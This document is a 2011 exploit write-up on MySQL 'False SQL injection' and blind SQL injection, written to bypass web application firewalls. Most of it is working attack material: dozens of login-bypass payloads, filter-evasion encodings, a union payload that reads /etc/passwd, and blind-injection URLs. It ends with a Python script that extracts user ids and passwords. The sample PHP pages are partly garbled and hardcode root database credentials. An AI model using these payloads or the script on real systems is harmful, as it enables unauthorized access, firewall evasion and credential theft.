######################################################################### # # # Exploit Title: False SQL injection and advanced blind SQL injection # # Date: 21/12/2011 # # Author: wh1ant # # Company: trinitysoft # # Group: secuholic # # # # ### ## # # ###### ###### # # ## ## ### ## # # ## ## # # ### ### # # ### ### # # ### # # ### # # ############ ########### # # ############################ # # ############################## # # ############################# # # # ############################ # # # # #### ############ #### # # # # ##### ########## ##### # # # # ###################### ## # # ## #################### ## # # ## ################## ## # # # ## ################ ## # # # # ## ############## ## # # # ## ## ############ ## ## # # ## ## ########## ## ## # # # ## ######## ## # # # ## ###### ## # # ## #### ## # # ## ## ## # # ## ## # # ## ## # # ### ### # # # ######################################################################### This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage. In order to read this document, you have to understand basic MySQL principles. I classified the term "SQL Injection" as 2 meanings. The first is a general SQL Injection, we usually call this "True SQL Injection", and the second is a "False SQL Injection". Though in this documentation, you can know something special about "True SQL Injection" And I mean to say it's true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in "Blind SQL Injection". A tested environment was as follow. ubuntu server 11.04 mysql 5.1.54-1 Apache 2.2.17 PHP 5.3.5-1 A tested code was as follow. "; echo ""; echo "
"; echo "

ID     
"; echo "PASS

"; echo ""; echo "
"; echo ""; echo ""; } else{ $id = $_GET['id']; $password = $_GET['password']; $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'pass'; $database = 'injection_db'; $db = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($database,$db); $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error()); $row = mysql_fetch_array($sql); if($row[id] && $row[password]){ echo "

"."Login sucess"."


"; echo "

"."Hello, ".""; echo "".$row[id]."


"; } else{ echo ""; } mysql_close($db); } ?> First, basic SQL Injection is as follow. ' or 1=1# The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process. '=0# We can apply it in a different way. This is possible as 0>-1 '>-1# Also, this is possible as 0<1 '<1# You don't have to use only single figures. You can use two figures attack as follow. 1'<99# Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1). '=0=1# Additionally there is some possible comparison operation making the same value each other. '<=>0# Like this, if you use the comparison operation, you can attack as additional manner. '=0=1=1=1=1=1# '=1<>1# '<>1# 1'<>99999# '!=2!=3!=4# In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL. mysql> select * from users; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.01 sec) This shows the contents in any table without any problem. The following is the content when you don't input any value in the id mysql> select * from users where id=''; Empty set (0.00 sec) Of course there is not result because id field dosen't have any string. In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true. mysql> select * from users where id=0; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.00 sec) If you input 0 in id, All the content is showed. This is the basic about "False SQL Injection". After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise operations and arithmetic operations. Once I'll show bitwise operation example. Or bitwise operation is well known for any programmer. And as I told you before, '' is 0, if you operate "0 bitwise OR 0", the result is 0. So the following operation succeed log on as the False SQL Injection. '|0# Naturally, you can use AND operation. '&0# This is the attack using XOR '^0# Also using shift operation is enable. '<<0# '>>0# If you apply like those bitwise operations, you can use variable attack methods. '&''# '%11&1# '&1&1# '|0&1# '<<0|0# '<<0>>0# In this time, I will show "False SQL Injection" using arithmetic operations. If the result is 0 using arithmetic operation with '', attack will be success. The following is the example using arithmetic operation. '*9# Multiplication '/9# Division. '%9# Mod '+0# Addition '-0# Subtraction Significant point is that the result has to be under one. Also you can attack as follow. '+2+5-7# '+0+0-0# '-0-0-0-0-0# '*9*8*7*6*5# '/2/3/4# '%12%34%56%78# '/**/+/**/0# '-----0# '+++0+++++0*0# Next attack is it using fucntion. In this document, I can't show all the functions. Because this attack is not difficult, you can use the "True, False SQL Injection" attack with function as much as you want. And whether this attack is "True SQL Injection" or "False SQL Injection" is decided on the last operation after return of function. ''1 PASS: '<>'1 ID : '>1=' PASS: '>1=' ID : 0'='0 PASS: 0'='0 ID : '<1 and 1>' PASS: '<1 and 1>' ID : '<>ifnull(1,2)='1 PASS: '<>ifnull(1,2)='1 ID : '=round(0,1)='1 PASS: '=round(0,1)='1 ID : '*0*' PASS: '*0*' ID : '+' PASS: '+' ID : '-' PASS: '-' ID :'+1-1-' PASS:'+1-1-' All attacks used in the documentation will be more effective with using bracket when detouring web firewall. '+(0-0)# '=0<>((reverse(1))-(reverse(1)))# '<(8*7)*(6*5)*(4*3)# '&(1+1)-2# '>(0-100)# Let's see normal SQL Injection attack. ' or 1=1# If this is translated in hexdemical, the result is as follow. http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234 Like attack above is basically filtered. So that's not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09. The possible values are as follow. %09 %0a %0b %0c %0d %a0 %23%0a %23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a The following is the example using %a0 instead of %20. http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234 In this time, I will show "Blind SQL injection" attack, this attack can't detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject. The following attack code can be used on log on page. And the page will show id and password. 'union select 1,group_concat(password),3 from users# This attack code brings /etc/password information. 'union select 1,load_file(0x2f6574632f706173737764),3 from users# Dare I say it without union select statement using Blind SQL injection with and operation is possible. The result of record are three. admin' and (select count(*) from users)=3# Let's attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection. "; echo "

wh1ant"; echo " site for blind SQL injection test


"; echo "

num: ".$info[0]."

"; echo "

user: ".$info[1].""; echo ""; mysql_close($db); ?> Basic Blind SQL Injection is as follow on like above. http://127.0.0.1/info.php?num=1 and 1=0 http://127.0.0.1/info.php?num=1 and 1=1 But using = operation is possible for Blind SQL Injection. http://192.168.137.129/info.php?num=1=0 http://192.168.137.129/info.php?num=1=1 Also other operation is possible naturally. http://127.0.0.1/info.php?num=1<>0 http://127.0.0.1/info.php?num=1<>1 http://127.0.0.1/info.php?num=1<0 http://127.0.0.1/info.php?num=1<1 http://127.0.0.1/info.php?num=1*0*0*1 http://127.0.0.1/info.php?num=1*0*0*0 http://127.0.0.1/info.php?num=1%1%1%0 http://127.0.0.1/info.php?num=1%1%1%1 http://127.0.0.1/info.php?num=1 div 0 http://127.0.0.1/info.php?num=1 div 1 http://127.0.0.1/info.php?num=1 regexp 0 http://127.0.0.1/info.php?num=1 regexp 1 http://127.0.0.1/info.php?num=1^0 http://127.0.0.1/info.php?num=1^1 Attack example: http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1) http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1) http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e) http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e) http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e) http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e) http://127.0.0.1/info.php?num=0^(id=0x61646d696e) http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5) http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5) If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a. #!/usr/bin/python ### blind.py ### import urllib import sys import os def put_data(true_url, true_result, field, index, length): for i in range(1, length+1): for j in range(32, 127): attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i) attack_open = urllib.urlopen(attack_url) attack_result = attack_open.read() attack_open.close() if attack_result==true_result: ch = "%c" % j sys.stdout.write(ch) break print "\t\t", def get_length(false_url, false_result, field, index): i=0 while 1: data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i) data_length_open = urllib.urlopen(data_length_url) data_length_result = data_length_open.read() data_length_open.close() if data_length_result==false_result: return i i+=1 url = "http://127.0.0.1/info.php" true_url = url + "?num=1" true_open = urllib.urlopen(true_url) true_result = true_open.read() true_open.close() false_url = url + "?num=0" false_open = urllib.urlopen(false_url) false_result = false_open.read() false_open.close() print "num\t\tid\t\tpassword" fields = "num", "id", "password" for i in range(1, 4): for j in range(0, 3): length = get_length(false_url, false_result, fields[j], i) length = put_data(false_url, true_result, fields[j], i, length) print "" To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack. # Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt [EOF]